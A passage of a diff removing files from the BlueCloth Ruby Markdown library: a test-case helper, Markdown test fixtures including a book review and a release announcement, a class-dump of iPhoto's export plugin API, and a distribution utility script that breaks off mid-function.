### is equal to the specified +value+. The '@' at the beginning of the
### +sym+ will be prepended if not present.
def assert_ivar_equal( value, object, sym )
sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
[ sym, object.inspect, value.inspect ]
msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
assert_block( msg ) {
value == object.instance_variable_get(sym)
}
end
### Assert that the specified +object+ has an instance variable which
### matches the specified +sym+. The '@' at the beginning of the +sym+
### will be prepended if not present.
def assert_has_ivar( sym, object )
sym = "@#{sym}" unless /^@/ =~ sym.to_s
msg = "Object <%s> expected to have an instance variable <%s>" %
[ object.inspect, sym ]
assert_block( msg ) {
object.instance_variables.include?( sym.to_s )
}
end
end # class TestCase
end # class BlueCloth

View file

@ -1,34 +0,0 @@
The Ant-Sugar Tales
===================
By Candice Yellowflower
The _Ant-Sugar Tales_ is a collection of short stories told from the
perspective of a fine young lady from [Venice][1], who has some run-ins
with a few [inquisitive insects][2]. Each tale presents a moral quandry,
which the ants are quick to solve with their antly wisdom and
know-how. Some of the moral lessons presented are:
* Laundry: How not to get caught in soiled knickers.
* Used Ticket Stubs and Their Impact on the Universe
* I'm Keeping a Birdhouse in my Attic
Use of Metaphor
---------------
The author's splended use of metaphor can be attributed to her growing
up in a art-supply store. Her characters are richly outlined, but her
unusual descriptions can sometimes be a bit jarring in places, such as
her description of the old caretaker that lives inside a hollow tree in
her yard:
> His skin was smooth like Magnani Pescia 100% acid-free cold pressed
> 22x30" Soft White Paper, with fine hair like the bristles of a Habico
> Lasur Superb Oil Glazing Brush Size 10.
[1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3
(Venice: The Grand Canal)
[2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html

View file

@ -1,17 +0,0 @@
Hi,
I'd like to announce the alpha release of a Markdown library for [Ruby][1]
called "BlueCloth". It's mostly a direct port of the most recent Perl version,
minus the various plugin hooks and whatnot.
More information can be found on [the project page][2], or feel free to ask me
directly. I don't have much in the way of a demo yet, but will be working on
getting something set up in the coming days.
[1]: http://www.ruby-lang.org/
[2]: http://bluecloth.rubyforge.org/
--
Michael Granger <ged@FaerieMUD.org>
Rubymage, Believer, Architect
The FaerieMUD Consortium <http://www.FaerieMUD.org/>

View file

@ -1,67 +0,0 @@
* xx xxxxxxx xx xxxxxx.
* xxx xxxxxxx xxxx xx xxxxxxxxxxx xx:
* xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx
xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx
xxx xx xxxxxxxxx xx xxxx.
xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx
xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx.
* xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx
xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx
xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx.
xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx)
xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx
xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx.
xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx
xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx,
xxxx xx xxxxxx xxx xxxx.
* xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx
xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx
xxxxxx xxx-xxxx xxxxx.
xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx.
* xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx
xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx
xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx
xx xxx xxxxxxxxx xxxx-xxx.
* xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx
xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx
xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx.
* xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx
xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx.
x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx
xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx
xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx:
* xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx
xxxxxxxxxx).
* xxxxxxxxxxx xx xxxx xxxxxxx xxx.
* xxxx xx xxxxx xxxxxxx xx xxx xxxxxx.
* xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx.
* xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx.
* xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx
xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx
xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx.
* xx x xxxxx xxxx:
* xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx,
xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx,
xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx
-- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx
xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx.

View file

@ -1,281 +0,0 @@
<strong>iFotobilder</strong> will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto.
## Getting Started
Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this.
Here's what I found:
* [Writing Plugins for Cocoa][1]
[1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html
## The iPhoto Export API
Using the `class-dump` tool, I dumped the export API:
/*
* Generated by class-dump 3.0.
*
* class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard.
*/
/*
* File: /Applications/iPhoto.app/Contents/MacOS/iPhoto
*/
@protocol ExportImageProtocol
- (unsigned int)imageCount;
- (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20;
- (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
- (unsigned int)imageFormatAtIndex:(unsigned int)fp16;
- (id)imageCaptionAtIndex:(unsigned int)fp16;
- (id)imagePathAtIndex:(unsigned int)fp16;
- (id)thumbnailPathAtIndex:(unsigned int)fp16;
- (id)imageDictionaryAtIndex:(unsigned int)fp16;
- (float)imageAspectRatioAtIndex:(unsigned int)fp16;
- (id)albumName;
- (id)albumMusicPath;
- (unsigned int)albumCount;
- (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16;
- (id)window;
- (void)enableControls;
- (void)disableControls;
- (void)clickExport;
- (void)startExport;
- (void)cancelExport;
- (void)cancelExportBeforeBeginning;
- (id)directoryPath;
- (id)temporaryDirectory;
- (BOOL)doesFileExist:(id)fp16;
- (BOOL)doesDirectoryExist:(id)fp16;
- (BOOL)createDir:(id)fp16;
- (id)uniqueSubPath:(id)fp12 child:(id)fp20;
- (id)makeUniquePath:(id)fp16;
- (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20;
- (id)makeUniqueFileNameWithTime:(id)fp16;
- (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20;
- (id)pathForFSSpec:(id)fp16;
- (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27;
- (id)pathForFSRef:(struct FSRef *)fp16;
- (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23;
- (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23;
- (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27;
- (BOOL)isAliasFileAtPath:(id)fp16;
- (id)pathContentOfAliasAtPath:(id)fp16;
- (id)stringByResolvingAliasesInPath:(id)fp16;
- (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20;
- (id)validFilename:(id)fp16;
- (id)getExtensionForImageFormat:(unsigned int)fp16;
- (unsigned int)getImageFormatForExtension:(id)fp16;
- (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32;
- (void *)createThumbnailer;
- (void *)retainThumbnailer:(void *)fp16;
- (void *)autoreleaseThumbnailer:(void *)fp16;
- (void)releaseThumbnailer:(void *)fp16;
- (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32;
- (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
- (void)setThumbnailer:(void *)fp12 quality:(int)fp20;
- (int)thumbnailerQuality:(void *)fp16;
- (void)setThumbnailer:(void *)fp12 rotation:(float)fp20;
- (float)thumbnailerRotation:(void *)fp16;
- (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20;
- (unsigned int)thumbnailerOutputFormat:(void *)fp16;
- (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20;
- (id)thumbnailerOutputExtension:(void *)fp16;
- (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28;
- (struct _NSSize)lastImageSize:(void *)fp20;
- (struct _NSSize)lastThumbnailSize:(void *)fp16;
@end
@protocol ExportPluginBoxProtocol
- (BOOL)performKeyEquivalent:(id)fp16;
@end
@protocol ExportPluginProtocol
- (id)initWithExportImageObj:(id)fp16;
- (id)settingsView;
- (id)firstView;
- (id)lastView;
- (void)viewWillBeActivated;
- (void)viewWillBeDeactivated;
- (id)requiredFileType;
- (BOOL)wantsDestinationPrompt;
- (id)getDestinationPath;
- (id)defaultFileName;
- (id)defaultDirectory;
- (BOOL)treatSingleSelectionDifferently;
- (BOOL)validateUserCreatedPath:(id)fp16;
- (void)clickExport;
- (void)startExport:(id)fp16;
- (void)performExport:(id)fp16;
- (CDAnonymousStruct12 *)progress;
- (void)lockProgress;
- (void)unlockProgress;
- (void)cancelExport;
- (id)name;
- (id)description;
@end
@interface ExportController : NSObject
{
id mWindow;
id mExportView;
id mExportButton;
id mImageCount;
ExportMgr *mExportMgr;
ExportMgrRec *mCurrentPluginRec;
ProgressController *mProgressController;
BOOL mCancelExport;
NSTimer *mTimer;
NSString *mDirectoryPath;
}
- (void)awakeFromNib;
- (void)dealloc;
- (id)currentPlugin;
- (id)currentPluginRec;
- (void)setCurrentPluginRec:(id)fp12;
- (id)directoryPath;
- (void)setDirectoryPath:(id)fp12;
- (void)show;
- (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20;
- (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20;
- (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16;
- (BOOL)panel:(id)fp12 isValidFilename:(id)fp16;
- (BOOL)filesWillFitOnDisk;
- (void)export:(id)fp12;
- (void)_exportThread:(id)fp12;
- (void)_exportProgress:(id)fp12;
- (void)startExport:(id)fp12;
- (void)finishExport;
- (void)cancelExport;
- (void)cancel:(id)fp12;
- (void)enableControls;
- (id)window;
- (void)disableControls;
- (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16;
- (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16;
- (void)selectExporter:(id)fp12;
- (id)exportView;
- (BOOL)_hasPlugins;
- (void)_resizeExporterToFitView:(id)fp12;
- (void)_updateImageCount;
@end
@interface ExportMgr : NSObject <ExportImageProtocol>
{
ArchiveDocument *mDocument;
NSMutableArray *mExporters;
Album *mExportAlbum;
NSArray *mSelection;
ExportController *mExportController;
}
+ (id)exportMgr;
+ (id)exportMgrNoAlloc;
- (id)init;
- (void)dealloc;
- (void)releasePlugins;
- (void)setExportController:(id)fp12;
- (id)exportController;
- (void)setDocument:(id)fp12;
- (id)document;
- (void)updateDocumentSelection;
- (unsigned int)count;
- (id)recAtIndex:(unsigned int)fp12;
- (void)scanForExporters;
- (unsigned int)imageCount;
- (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12;
- (id)imagePathAtIndex:(unsigned int)fp12;
- (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
- (unsigned int)imageFormatAtIndex:(unsigned int)fp12;
- (id)imageCaptionAtIndex:(unsigned int)fp12;
- (id)thumbnailPathAtIndex:(unsigned int)fp12;
- (id)imageDictionaryAtIndex:(unsigned int)fp12;
- (float)imageAspectRatioAtIndex:(unsigned int)fp12;
- (id)albumName;
- (id)albumMusicPath;
- (unsigned int)albumCount;
- (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12;
- (id)imageRecAtIndex:(unsigned int)fp12;
- (id)currentAlbum;
- (void)enableControls;
- (void)disableControls;
- (id)window;
- (void)clickExport;
- (void)startExport;
- (void)cancelExport;
- (void)cancelExportBeforeBeginning;
- (id)directoryPath;
- (void)_copySelection:(id)fp12;
- (id)temporaryDirectory;
- (BOOL)doesFileExist:(id)fp12;
- (BOOL)doesDirectoryExist:(id)fp12;
- (BOOL)createDir:(id)fp12;
- (id)uniqueSubPath:(id)fp12 child:(id)fp16;
- (id)makeUniquePath:(id)fp12;
- (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16;
- (id)makeUniqueFileNameWithTime:(id)fp12;
- (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16;
- (id)pathForFSSpec:(id)fp12;
- (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20;
- (id)pathForFSRef:(struct FSRef *)fp12;
- (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16;
- (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16;
- (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20;
- (BOOL)isAliasFileAtPath:(id)fp12;
- (id)pathContentOfAliasAtPath:(id)fp12;
- (id)stringByResolvingAliasesInPath:(id)fp12;
- (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16;
- (id)validFilename:(id)fp12;
- (id)getExtensionForImageFormat:(unsigned int)fp12;
- (unsigned int)getImageFormatForExtension:(id)fp12;
- (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36;
- (void *)createThumbnailer;
- (void *)retainThumbnailer:(void *)fp12;
- (void *)autoreleaseThumbnailer:(void *)fp12;
- (void)releaseThumbnailer:(void *)fp12;
- (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24;
- (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
- (void)setThumbnailer:(void *)fp12 quality:(int)fp16;
- (int)thumbnailerQuality:(void *)fp12;
- (void)setThumbnailer:(void *)fp12 rotation:(float)fp36;
- (float)thumbnailerRotation:(void *)fp12;
- (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16;
- (unsigned int)thumbnailerOutputFormat:(void *)fp12;
- (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16;
- (id)thumbnailerOutputExtension:(void *)fp12;
- (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20;
- (struct _NSSize)lastImageSize:(void *)fp16;
- (struct _NSSize)lastThumbnailSize:(void *)fp16;
@end
@interface ExportMgrRec : NSObject
{
NSString *mPath;
NSBundle *mBundle;
id mPlugin;
struct _NSSize mViewSize;
}
- (void)dealloc;
- (BOOL)isEqual:(id)fp12;
- (id)description;
- (id)initWithPath:(id)fp12;
- (id)path;
- (id)bundle;
- (id)bundleInfo;
- (BOOL)isValidExportPlugin;
- (BOOL)loadPlugin;
- (id)exportPlugin;
- (void)unloadPlugin;
- (id)view;
- (struct _NSSize)viewSize;
- (void)setPath:(id)fp12;
- (void)setBundle:(id)fp12;
@end

View file

@ -1,553 +0,0 @@
#
# Install/distribution utility functions
# $Id: utils.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Copyright (c) 2001-2004, The FaerieMUD Consortium.
#
# This is free software. You may use, modify, and/or redistribute this
# software under the terms of the Perl Artistic License. (See
# http://language.perl.com/misc/Artistic.html)
#
BEGIN {
require 'find'
begin
require 'readline'
include Readline
rescue LoadError => e
$stderr.puts "Faking readline..."
def readline( prompt )
$stderr.print prompt.chomp
return $stdin.gets.chomp
end
end
}
class File
Win32Exts = %w{.exe .com .bat}
def self::which( prog, path=ENV['PATH'] )
path.split(File::PATH_SEPARATOR).each {|dir|
# If running under Windows, look for prog + extensions
if File::ALT_SEPARATOR
ext = Win32Exts.find_all {|ext|
f = File::join(dir, prog+ext)
File::executable?(f) && !File::directory?(f)
}
ext.each {|f|
f = File::join( dir, prog + f ).gsub(%r:/:,'\\')
if block_given? then yield( f ) else return f end
}
else
f = File::join( dir, prog )
if File::executable?( f ) && ! File::directory?( f )
if block_given? then yield(f) else return f end
end
end
}
end
end
module UtilityFunctions
# The list of regexen that eliminate files from the MANIFEST
ANTIMANIFEST = [
/makedist\.rb/,
/\bCVS\b/,
/~$/,
/^#/,
%r{docs/html},
%r{docs/man},
/\bTEMPLATE\.\w+\.tpl\b/,
/\.cvsignore/,
/\.s?o$/,
]
AMRegexp = Regexp::union( *ANTIMANIFEST )
# Set some ANSI escape code constants (Shamelessly stolen from Perl's
# Term::ANSIColor by Russ Allbery <rra@stanford.edu> and Zenin <zenin@best.com>
AnsiAttributes = {
'clear' => 0,
'reset' => 0,
'bold' => 1,
'dark' => 2,
'underline' => 4,
'underscore' => 4,
'blink' => 5,
'reverse' => 7,
'concealed' => 8,
'black' => 30, 'on_black' => 40,
'red' => 31, 'on_red' => 41,
'green' => 32, 'on_green' => 42,
'yellow' => 33, 'on_yellow' => 43,
'blue' => 34, 'on_blue' => 44,
'magenta' => 35, 'on_magenta' => 45,
'cyan' => 36, 'on_cyan' => 46,
'white' => 37, 'on_white' => 47
}
ErasePreviousLine = "\033[A\033[K"
###############
module_function
###############
# Create a string that contains the ANSI codes specified and return it
def ansiCode( *attributes )
return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM']
attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';')
if attr.empty?
return ''
else
return "\e[%sm" % attr
end
end
# Test for the presence of the specified <tt>library</tt>, and output a
# message describing the test using <tt>nicename</tt>. If <tt>nicename</tt>
# is <tt>nil</tt>, the value in <tt>library</tt> is used to build a default.
def testForLibrary( library, nicename=nil )
nicename ||= library
message( "Testing for the #{nicename} library..." )
found = false
begin
require library
rescue LoadError => err
message "no found (%s)\n" % err.message
else
message "found\n"
found = true
end
return found
end
# Test for the presence of the specified <tt>library</tt>, and output a
# message describing the problem using <tt>nicename</tt>. If
# <tt>nicename</tt> is <tt>nil</tt>, the value in <tt>library</tt> is used
# to build a default. If <tt>raaUrl</tt> and/or <tt>downloadUrl</tt> are
# specified, they are also use to build a message describing how to find the
# required library. If <tt>fatal</tt> is <tt>true</tt>, a missing library
# will cause the program to abort.
def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true )
nicename ||= library
unless testForLibrary( library, nicename )
msgs = [ "You are missing the required #{nicename} library.\n" ]
msgs << "RAA: #{raaUrl}\n" if raaUrl
msgs << "Download: #{downloadUrl}\n" if downloadUrl
if fatal
abort msgs.join('')
else
errorMessage msgs.join('')
end
end
return true
end
### Output <tt>msg</tt> as a ANSI-colored program/section header (white on
### blue).
def header( msg )
msg.chomp!
$stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' )
$stderr.flush
end
### Output <tt>msg</tt> to STDERR and flush it.
def message( msg )
$stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' )
$stderr.flush
end
### Output the specified <tt>msg</tt> as an ANSI-colored error message
### (white on red).
def errorMessage( msg )
message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' )
end
### Output the specified <tt>msg</tt> as an ANSI-colored debugging message
### (yellow on blue).
def debugMsg( msg )
return unless $DEBUG
msg.chomp!
$stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' )
$stderr.flush
end
### Erase the previous line (if supported by your terminal) and output the
### specified <tt>msg</tt> instead.
def replaceMessage( msg )
print ErasePreviousLine
message( msg )
end
### Output a divider made up of <tt>length</tt> hyphen characters.
def divider( length=75 )
puts "\r" + ("-" * length )
end
alias :writeLine :divider
### Output the specified <tt>msg</tt> colored in ANSI red and exit with a
### status of 1.
def abort( msg )
print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n"
Kernel.exit!( 1 )
end
### Output the specified <tt>promptString</tt> as a prompt (in green) and
### return the user's input with leading and trailing spaces removed.
def prompt( promptString )
promptString.chomp!
return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip
end
### Prompt the user with the given <tt>promptString</tt> via #prompt,
### substituting the given <tt>default</tt> if the user doesn't input
### anything.
def promptWithDefault( promptString, default )
response = prompt( "%s [%s]" % [ promptString, default ] )
if response.empty?
return default
else
return response
end
end
### Search for the program specified by the given <tt>progname</tt> in the
### user's <tt>PATH</tt>, and return the full path to it, or <tt>nil</tt> if
### no such program is in the path.
def findProgram( progname )
ENV['PATH'].split(File::PATH_SEPARATOR).each {|d|
file = File.join( d, progname )
return file if File.executable?( file )
}
return nil
end
### Using the CVS log for the given <tt>file</tt> attempt to guess what the
### next release version might be. This only works if releases are tagged
### with tags like 'RELEASE_x_y'.
def extractNextVersionFromTags( file )
message "Attempting to extract next release version from CVS tags for #{file}...\n"
raise RuntimeError, "No such file '#{file}'" unless File.exists?( file )
cvsPath = findProgram( 'cvs' ) or
raise RuntimeError, "Cannot find the 'cvs' program. Aborting."
output = %x{#{cvsPath} log #{file}}
release = [ 0, 0 ]
output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match|
if $1.to_i > release[0] || $2.to_i > release[1]
release = [ $1.to_i, $2.to_i ]
replaceMessage( "Found %d.%02d...\n" % release )
end
}
if release[1] >= 99
release[0] += 1
release[1] = 1
else
release[1] += 1
end
return "%d.%02d" % release
end
### Write a new manifest file with the given +named+, moving any current one
### aside with an ".old" suffix if +backup+ is true.
def makeManifest( name="MANIFEST", backup=true )
message "Making manifest file '#{name}'"
# Move an old one aside if a backup is desired
if backup and File::exists?( name )
File::rename( name, name + ".old" )
end
File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh|
Find::find( "." ) do |file|
Find.prune if AMRegexp =~ file
Find.prune if %r{/\.} =~ file
Find.prune if /TEMPLATE/ =~ file
next if File::directory?( file )
ofh.puts file
end
}
end
### Read the specified <tt>manifestFile</tt>, which is a text file
### describing which files to package up for a distribution. The manifest
### should consist of one or more lines, each containing one filename or
### shell glob pattern.
def readManifest( manifestFile="MANIFEST" )
message "Reading manifest..."
raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile
manifest = IO::readlines( manifestFile ).collect {|line|
line.chomp
}.select {|line|
line !~ /^(\s*(#.*)?)?$/
}
filelist = []
for pat in manifest
$stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE
filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)}
end
message "found #{filelist.length} files.\n"
return filelist
end
### Given a <tt>filelist</tt> like that returned by #readManifest, remove
### the entries therein which match the Regexp objects in the given
### <tt>antimanifest</tt> and return the resultant Array.
def vetManifest( filelist, antimanifest=ANITMANIFEST )
origLength = filelist.length
message "Vetting manifest..."
for regex in antimanifest
if $VERBOSE
message "\n\tPattern /#{regex.source}/ removed: " +
filelist.find_all {|file| regex.match(file)}.join(', ')
end
filelist.delete_if {|file| regex.match(file)}
end
message "removed #{origLength - filelist.length} files from the list.\n"
return filelist
end
### Combine a call to #readManifest with one to #vetManifest.
def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST )
vetManifest( readManifest(manifestFile), antimanifest )
end
### Given a documentation <tt>catalogFile</tt>, extract the title, if
### available, and return it. Otherwise generate a title from the name of
### the CVS module.
def findRdocTitle( catalogFile="docs/CATALOG" )
# Try extracting it from the CATALOG file from a line that looks like:
# Title: Foo Bar Module
title = findCatalogKeyword( 'title', catalogFile )
# If that doesn't work for some reason, try grabbing the name of the CVS
# repository the directory belongs to.
if title.nil? && File::directory?( "CVS" ) &&
File::exists?( "CVS/Repository" )
title = File::read( "CVS/Repository" ).chomp
end
# As a last resort, use the name of the project directory
if title.nil?
distdir = File::dirname( __FILE__ )
distdir = File::dirname( distdir ) if /docs$/ =~ distdir
title = File::basename( distdir )
end
return title
end
### Given a documentation <tt>catalogFile</tt>, extract the name of the file
### to use as the initally displayed page. If extraction fails, the
### +default+ will be used if it exists. Returns +nil+ if there is no main
### file to be found.
def findRdocMain( catalogFile="docs/CATALOG", default="README" )
# Try extracting it from the CATALOG file from a line that looks like:
# Main: Foo Bar Module
main = findCatalogKeyword( 'main', catalogFile )
# Try to make some educated guesses if that doesn't work
if main.nil?
basedir = File::dirname( __FILE__ )
basedir = File::dirname( basedir ) if /docs$/ =~ basedir
if File::exists?( File::join(basedir, default) )
main = default
end
end
return main
end
### Given a documentation <tt>catalogFile</tt>, extract an upload URL for
### RDoc.
def findRdocUpload( catalogFile="docs/CATALOG" )
findCatalogKeyword( 'upload', catalogFile )
end
### Given a documentation <tt>catalogFile</tt>, extract a CVS web frontend
### URL for RDoc.
def findRdocCvsURL( catalogFile="docs/CATALOG" )
findCatalogKeyword( 'webcvs', catalogFile )
end
### Given a documentation <tt>catalogFile</tt>, try extracting the given
### +keyword+'s value from it. Keywords are lines that look like:
### # <keyword>: <value>
### Returns +nil+ if the catalog file was unreadable or didn't contain the
### specified +keyword+.
def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" )
val = nil
if File::exists? catalogFile
message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile
File::foreach( catalogFile ) {|line|
debugMsg( "Examining line #{line.inspect}..." )
val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line
}
end
return val
end
### Given a documentation <tt>catalogFile</tt>, which is in the same format
### as that described by #readManifest, read and expand it, and then return
### a list of those files which appear to have RDoc documentation in
### them. If <tt>catalogFile</tt> is nil or does not exist, the MANIFEST
### file is used instead.
def findRdocableFiles( catalogFile="docs/CATALOG" )
startlist = []
if File.exists? catalogFile
message "Using CATALOG file (%s).\n" % catalogFile
startlist = getVettedManifest( catalogFile )
else
message "Using default MANIFEST\n"
startlist = getVettedManifest()
end
message "Looking for RDoc comments in:\n" if $VERBOSE
startlist.select {|fn|
message " #{fn}: " if $VERBOSE
found = false
File::open( fn, "r" ) {|fh|
fh.each {|line|
if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*}
found = true
break
end
}
}
message( (found ? "yes" : "no") + "\n" ) if $VERBOSE
found
}
end
### Open a file and filter each of its lines through the given block a
### <tt>line</tt> at a time. The return value of the block is used as the
### new line, or omitted if the block returns <tt>nil</tt> or
### <tt>false</tt>.
def editInPlace( file ) # :yields: line
raise "No block specified for editing operation" unless block_given?
tempName = "#{file}.#{$$}"
File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile|
File::unlink( tempName )
File::open( file, File::RDONLY ) {|fh|
fh.each {|line|
newline = yield( line ) or next
tempfile.print( newline )
}
}
tempfile.seek(0)
File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile|
newfile.print( tempfile.read )
}
}
end
### Execute the specified shell <tt>command</tt>, read the results, and
### return them. Like a %x{} that returns an Array instead of a String.
def shellCommand( *command )
raise "Empty command" if command.empty?
cmdpipe = IO::popen( command.join(' '), 'r' )
return cmdpipe.readlines
end
### Execute a block with $VERBOSE set to +false+, restoring it to its
### previous value before returning.
def verboseOff
raise LocalJumpError, "No block given" unless block_given?
thrcrit = Thread.critical
oldverbose = $VERBOSE
begin
Thread.critical = true
$VERBOSE = false
yield
ensure
